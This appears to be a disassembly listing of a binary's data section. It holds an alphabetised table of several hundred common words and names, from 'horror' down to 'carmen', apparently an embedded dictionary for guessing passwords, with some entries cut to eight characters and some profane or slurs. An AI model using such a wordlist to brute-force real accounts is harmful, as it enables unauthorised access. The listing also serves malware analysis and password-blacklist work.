aHorror		db 'horror',0           ; DATA XREF: ___:0043039Co
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:00430398o
		align 10h
aHorny		db 'horny',0            ; DATA XREF: ___:00430394o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:00430390o
aHooker		db 'hooker',0           ; DATA XREF: ___:0043038Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00430388o
		align 10h
aHomework	db 'homework',0         ; DATA XREF: ___:00430384o
		align 4
aHomer		db 'homer',0            ; DATA XREF: ___:00430380o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:0043037Co
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00430378o
		align 4
aHolly		db 'holly',0            ; DATA XREF: ___:00430374o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:00430370o
		align 4
aHits		db 'hits',0             ; DATA XREF: ___:0043036Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:00430368o
		align 4
aHighland	db 'highland',0         ; DATA XREF: ___:00430364o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:00430360o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: ___:0043035Co
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00430358o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00430354o
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:00430350o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: ___:0043034Co
aHeroin		db 'heroin',0           ; DATA XREF: ___:00430348o
		align 4
aHero		db 'hero',0             ; DATA XREF: ___:00430344o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:00430340o
aHerb		db 'herb',0             ; DATA XREF: ___:0043033Co
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:00430338o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00430334o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00430330o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:0043032Co
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00430328o
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00430324o
		align 4
aHeather	db 'heather',0          ; DATA XREF: ___:00430320o
aHeathen	db 'heathen',0          ; DATA XREF: ___:0043031Co
aHeat		db 'heat',0             ; DATA XREF: ___:00430318o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00430314o
		align 10h
aHead		db 'head',0             ; DATA XREF: ___:00430310o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:0043030Co
		align 10h
aHaven		db 'haven',0            ; DATA XREF: ___:00430308o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00430304o
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: ___:00430300o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:004302FCo
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: ___:004302F8o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:004302F4o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:004302F0o
		align 10h
aHard		db 'hard',0             ; DATA XREF: ___:004302ECo
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:004302E8o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:004302E4o
aHandily	db 'handily',0          ; DATA XREF: ___:004302E0o
aHandel		db 'handel',0           ; DATA XREF: ___:004302DCo
		align 4
aHamster	db 'hamster',0          ; DATA XREF: ___:004302D8o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:004302D4o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: ___:004302D0o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:004302CCo
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: ___:004302C8o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:004302C4o
		align 10h
aHack		db 'hack',0             ; DATA XREF: ___:004302C0o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:004302BCo
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: ___:004302B8o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: ___:004302B4o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:004302B0o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: ___:004302ACo
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:004302A8o
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: ___:004302A4o
aGroup		db 'group',0            ; DATA XREF: ___:004302A0o
		align 10h
aGreen		db 'green',0            ; DATA XREF: ___:0043029Co
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00430298o
		align 10h
aGrant		db 'grant',0            ; DATA XREF: ___:00430294o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:00430290o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: ___:0043028Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:00430288o
		align 10h
aGrades		db 'grades',0           ; DATA XREF: ___:00430284o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:00430280o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: ___:0043027Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: ___:00430278o
aGorges		db 'gorges',0           ; DATA XREF: ___:00430274o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:00430270o
		align 4
aGood		db 'good',0             ; DATA XREF: ___:0043026Co
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: ___:00430268o
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:00430264o
		align 10h
aGolden		db 'golden',0           ; DATA XREF: ___:00430260o
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:0043025Co
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: ___:00430258o
aGirl		db 'girl',0             ; DATA XREF: ___:00430254o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: ___:00430250o
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:0043024Co
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:00430248o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: ___:00430244o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: ___:00430240o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: ___:0043023Co
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:00430238o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:00430234o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:00430230o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: ___:0043022Co
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:00430228o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: ___:00430224o
aGarfield	db 'garfield',0         ; DATA XREF: ___:00430220o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:0043021Co
aGames		db 'games',0            ; DATA XREF: ___:00430218o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:00430214o
aFungible	db 'fungible',0         ; DATA XREF: ___:00430210o
		align 4
aFunction	db 'function',0         ; DATA XREF: ___:0043020Co
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:00430208o
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:00430204o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:00430200o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: ___:004301FCo
aFucker		db 'fucker',0           ; DATA XREF: ___:004301F8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: ___:004301F4o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:004301F0o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: ___:004301ECo
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:004301E8o
		align 4
aFriends	db 'friends',0          ; DATA XREF: ___:004301E4o
aFriend		db 'friend',0           ; DATA XREF: ___:004301E0o
		align 4
aFriday		db 'friday',0           ; DATA XREF: ___:004301DCo
		align 4
aFrench		db 'french',0           ; DATA XREF: ___:004301D8o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: ___:004301D4o
aFree		db 'free',0             ; DATA XREF: ___:004301D0o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004301CCo
		align 4
aFreak		db 'freak',0            ; DATA XREF: ___:004301C8o
		align 4
aFrank		db 'frank',0            ; DATA XREF: ___:004301C4o
		align 4
aFrance		db 'france',0           ; DATA XREF: ___:004301C0o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:004301BCo
aFourier	db 'fourier',0          ; DATA XREF: ___:004301B8o
aForsythe	db 'forsythe',0         ; DATA XREF: ___:004301B4o
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: ___:004301B0o
		align 4
aFormat		db 'format',0           ; DATA XREF: ___:004301ACo
		align 4
aForm		db 'form',0             ; DATA XREF: ___:004301A8o
		align 4
aForever	db 'forever',0          ; DATA XREF: ___:004301A4o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:004301A0o
		align 10h
aFord		db 'ford',0             ; DATA XREF: ___:0043019Co
		align 4
aForce		db 'force',0            ; DATA XREF: ___:00430198o
		align 10h
aFootball	db 'football',0         ; DATA XREF: ___:00430194o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:00430190o
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:0043018Co
		align 10h
aFood		db 'food',0             ; DATA XREF: ___:00430188o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:00430184o
aFlower		db 'flower',0           ; DATA XREF: ___:00430180o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:0043017Co
aFloat		db 'float',0            ; DATA XREF: ___:00430178o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:00430174o
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: ___:00430170o
aFirewall	db 'firewall',0         ; DATA XREF: ___:0043016Co
		align 4
aFire		db 'fire',0             ; DATA XREF: ___:00430168o
		align 4
aFinite		db 'finite',0           ; DATA XREF: ___:00430164o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: ___:0043015Co
		align 4
aField		db 'field',0            ; DATA XREF: ___:00430158o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: ___:00430154o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:00430150o
aFermat		db 'fermat',0           ; DATA XREF: ___:0043014Co
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:00430148o
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: ___:00430144o
aFeds		db 'feds',0             ; DATA XREF: ___:00430140o
		align 10h
aFear		db 'fear',0             ; DATA XREF: ___:0043013Co
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:00430138o
		align 10h
aFart		db 'fart',0             ; DATA XREF: ___:00430134o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:00430130o
aFarad		db 'farad',0            ; DATA XREF: ___:0043012Co
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:00430128o
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:00430124o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:00430120o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: ___:0043011Co
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:00430118o
aExtensio	db 'extensio',0         ; DATA XREF: ___:00430114o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:00430110o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:0043010Co
		align 4
aExplore	db 'explore',0          ; DATA XREF: ___:00430108o
aExplode	db 'explode',0          ; DATA XREF: ___:00430104o
aExpert		db 'expert',0           ; DATA XREF: ___:00430100o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:004300FCo
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: ___:004300F8o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: ___:004300F4o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:004300F0o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: ___:004300ECo
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: ___:004300E8o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: ___:004300E4o
		align 4
aErin		db 'erin',0             ; DATA XREF: ___:004300E0o
		align 4
aErika		db 'erika',0            ; DATA XREF: ___:004300DCo
		align 4
aErica		db 'erica',0            ; DATA XREF: ___:004300D8o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004300D4o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: ___:004300D0o
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:004300CCo
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:004300C8o
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:004300C4o
		align 10h
aEnglish	db 'english',0          ; DATA XREF: ___:004300C0o
aEngland	db 'england',0          ; DATA XREF: ___:004300BCo
aEngineer	db 'engineer',0         ; DATA XREF: ___:004300B8o
		align 4
aEngine		db 'engine',0           ; DATA XREF: ___:004300B4o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: ___:004300B0o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:004300ACo
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:004300A8o
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: ___:004300A4o
aEmail		db 'email',0            ; DATA XREF: ___:004300A0o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: ___:0043009Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:00430098o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: ___:00430094o
		align 10h
aElectron	db 'electron',0         ; DATA XREF: ___:00430090o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: ___:0043008Co
		align 4
aElaine		db 'elaine',0           ; DATA XREF: ___:00430088o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: ___:00430084o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:00430080o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: ___:0043007Co
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:00430078o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:00430074o
aEdwina		db 'edwina',0           ; DATA XREF: ___:00430070o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:0043006Co
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: ___:00430068o
		align 4
aEducation	db 'education',0        ; DATA XREF: ___:00430064o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:00430060o
aEdit		db 'edit',0             ; DATA XREF: ___:off_43005Co
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:00430058o
		align 4
aEdges		db 'edges',0            ; DATA XREF: ___:00430054o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: ___:off_430050o
		align 4
aEcho		db 'echo',0             ; DATA XREF: ___:0043004Co
		align 4
aEatme		db 'eatme',0            ; DATA XREF: ___:00430048o
		align 4
aEasy		db 'easy',0             ; DATA XREF: ___:00430044o
		align 4
aEasier		db 'easier',0           ; DATA XREF: ___:00430040o
		align 4
aEarth		db 'earth',0            ; DATA XREF: ___:0043003Co
		align 4
aEagle		db 'eagle',0            ; DATA XREF: ___:00430038o
		align 4
aEager		db 'eager',0            ; DATA XREF: ___:00430034o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: ___:00430030o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: ___:0043002Co
aDuncan		db 'duncan',0           ; DATA XREF: ___:00430028o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: ___:00430024o
		align 4
aDuke		db 'duke',0             ; DATA XREF: ___:00430020o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: ___:0043001Co
aDude		db 'dude',0             ; DATA XREF: ___:00430018o
		align 4
aDuck		db 'duck',0             ; DATA XREF: ___:00430014o
		align 4
aDrought	db 'drought',0          ; DATA XREF: ___:00430010o
aDrive		db 'drive',0            ; DATA XREF: ___:0043000Co
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:00430008o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: ___:00430004o
		align 4
aDownload	db 'download',0         ; DATA XREF: ___:00430000o
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042FFFCo
		align 10h
aDoors		db 'doors',0            ; DATA XREF: ___:0042FFF8o
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042FFF4o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042FFF0o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042FFECo
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042FFE8o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042FFE4o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042FFE0o
		align 10h
aDong		db 'dong',0             ; DATA XREF: ___:0042FFDCo
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042FFD8o
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042FFD4o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042FFD0o
aDisney		db 'disney',0           ; DATA XREF: ___:0042FFCCo
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042FFC8o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042FFC4o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: ___:0042FFC0o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042FFBCo
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042FFB8o
		align 10h
aDisc		db 'disc',0             ; DATA XREF: ___:0042FFB4o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042FFB0o
		align 10h
aDirector	db 'director',0         ; DATA XREF: ___:0042FFACo
		align 4
aDirect		db 'direct',0           ; DATA XREF: ___:0042FFA8o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042FFA4o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042FFA0o
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042FF9Co
aDieter		db 'dieter',0           ; DATA XREF: ___:0042FF98o
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042FF94o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042FF90o
aDick		db 'dick',0             ; DATA XREF: ___:0042FF8Co
		align 10h
aDice		db 'dice',0             ; DATA XREF: ___:0042FF88o
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042FF84o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: ___:0042FF80o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042FF7Co
aDial		db 'dial',0             ; DATA XREF: ___:0042FF78o
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042FF74o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: ___:0042FF70o
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042FF6Co
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042FF68o
aDesk		db 'desk',0             ; DATA XREF: ___:0042FF64o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042FF60o
aDennis		db 'dennis',0           ; DATA XREF: ___:0042FF5Co
		align 4
aDenise		db 'denise',0           ; DATA XREF: ___:0042FF58o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042FF54o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042FF50o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: ___:0042FF4Co
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042FF48o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042FF44o
aDeck		db 'deck',0             ; DATA XREF: ___:0042FF3Co
		align 10h
aDecember	db 'december',0         ; DATA XREF: ___:0042FF38o
		align 4
aDebug		db 'debug',0            ; DATA XREF: ___:0042FF34o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042FF30o
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042FF2Co
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042FF28o
		align 10h
aDead		db 'dead',0             ; DATA XREF: ___:0042FF24o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042FF20o
		align 10h
aDave		db 'dave',0             ; DATA XREF: ___:0042FF1Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042FF18o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042FF14o
		align 4
aDark		db 'dark',0             ; DATA XREF: ___:0042FF10o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: ___:0042FF0Co
		align 4
aDanny		db 'danny',0            ; DATA XREF: ___:0042FF08o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042FF04o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042FF00o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042FEFCo
		align 10h
aDana		db 'dana',0             ; DATA XREF: ___:0042FEF8o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042FEF4o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042FEF0o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042FEECo
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042FEE8o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042FEE4o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042FEE0o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: ___:0042FEDCo
		align 4
aCunt		db 'cunt',0             ; DATA XREF: ___:0042FED8o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042FED4o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042FED0o
aCristina	db 'cristina',0         ; DATA XREF: ___:0042FECCo
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042FEC8o
		align 4
aCrime		db 'crime',0            ; DATA XREF: ___:0042FEC4o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: ___:0042FEC0o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042FEBCo
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042FEB8o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: ___:0042FEB4o
		align 4
aCreation	db 'creation',0         ; DATA XREF: ___:0042FEB0o
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042FEACo
		align 10h
aCream		db 'cream',0            ; DATA XREF: ___:0042FEA8o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042FEA4o
		align 4
aCrack		db 'crack',0            ; DATA XREF: ___:0042FEA0o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042FE9Co
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042FE98o
		align 10h
aCountry	db 'country',0          ; DATA XREF: ___:0042FE94o
aCounters	db 'counters',0         ; DATA XREF: ___:0042FE90o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: ___:0042FE8Co
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042FE88o
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042FE84o
		align 10h
aCops		db 'cops',0             ; DATA XREF: ___:0042FE80o
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042FE7Co
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: ___:0042FE78o
		align 4
aCool_1		db 'cool',0             ; DATA XREF: ___:0042FE74o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: ___:0042FE70o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042FE6Co
		align 4
aCook		db 'cook',0             ; DATA XREF: ___:0042FE68o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
					; ___:0042FE64o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042FE60o
aConserva	db 'conserva',0         ; DATA XREF: ___:0042FE5Co
		align 4
aConnie		db 'connie',0           ; DATA XREF: ___:0042FE58o
		align 4
aCondom		db 'condom',0           ; DATA XREF: ___:0042FE50o
		align 4
aCondo		db 'condo',0            ; DATA XREF: ___:0042FE4Co
		align 4
aComrades	db 'comrades',0         ; DATA XREF: ___:0042FE48o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: ___:0042FE44o
aComputin	db 'computin',0         ; DATA XREF: ___:0042FE40o
		align 4
aCompany	db 'company',0          ; DATA XREF: ___:0042FE3Co
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042FE38o
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042FE34o
		align 10h
aComics		db 'comics',0           ; DATA XREF: ___:0042FE30o
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042FE2Co
		align 10h
aColor		db 'color',0            ; DATA XREF: ___:0042FE28o
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042FE24o
aCold		db 'cold',0             ; DATA XREF: ___:0042FE20o
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042FE1Co
		align 10h
aCoke		db 'coke',0             ; DATA XREF: ___:0042FE18o
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042FE14o
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042FE10o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042FE0Co
		align 4
aCodename	db 'codename',0         ; DATA XREF: ___:0042FE08o
		align 10h
aCode		db 'code',0             ; DATA XREF: ___:0042FE04o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042FE00o
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042FDFCo
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042FDF8o
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042FDF4o
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: ___:0042FDF0o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: ___:0042FDECo
aClinton	db 'clinton',0          ; DATA XREF: ___:0042FDE8o
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042FDE4o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042FDE0o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042FDDCo
aClassic	db 'classic',0          ; DATA XREF: ___:0042FDD8o
aClasses	db 'classes',0          ; DATA XREF: ___:0042FDD4o
aClass		db 'class',0            ; DATA XREF: ___:0042FDD0o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: ___:0042FDCCo
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: ___:0042FDC8o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: ___:0042FDC4o
		align 10h
aChristy	db 'christy',0          ; DATA XREF: ___:0042FDC0o
aChristin	db 'christin',0         ; DATA XREF: ___:0042FDBCo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:0042FDB8o
		align 4
aChip		db 'chip',0             ; DATA XREF: ___:0042FDB4o
		align 4
aChester	db 'chester',0          ; DATA XREF: ___:0042FDB0o
aChess		db 'chess',0            ; DATA XREF: ___:0042FDACo
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: ___:0042FDA8o
		align 10h
aChem		db 'chem',0             ; DATA XREF: ___:0042FDA4o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: ___:0042FDA0o
		align 10h
aCharon		db 'charon',0           ; DATA XREF: ___:0042FD9Co
		align 4
aCharming	db 'charming',0         ; DATA XREF: ___:0042FD98o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: ___:0042FD94o
aCharles	db 'charles',0          ; DATA XREF: ___:0042FD90o
aCharity	db 'charity',0          ; DATA XREF: ___:0042FD8Co
aChange		db 'change',0           ; DATA XREF: ___:0042FD88o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: ___:0042FD84o
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: ___:0042FD80o
aCeltic		db 'celtic',0           ; DATA XREF: ___:0042FD7Co
		align 10h
aCelt		db 'celt',0             ; DATA XREF: ___:0042FD78o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: ___:0042FD74o
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: ___:0042FD70o
		align 4
aCave		db 'cave',0             ; DATA XREF: ___:0042FD6Co
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: ___:0042FD68o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: ___:0042FD64o
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: ___:0042FD60o
		align 10h
aCastle		db 'castle',0           ; DATA XREF: ___:0042FD5Co
		align 4
aCash		db 'cash',0             ; DATA XREF: ___:0042FD58o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: ___:0042FD54o
		align 4
aCarson		db 'carson',0           ; DATA XREF: ___:0042FD50o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: ___:0042FD4Co
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: ___:0042FD48o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042FD44o
		align 4
aCarole		db 'carole',0           ; DATA XREF: ___:0042FD40o
		align 4
aCarol		db 'carol',0            ; DATA XREF: ___:0042FD3Co
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042FD38o
		align 4
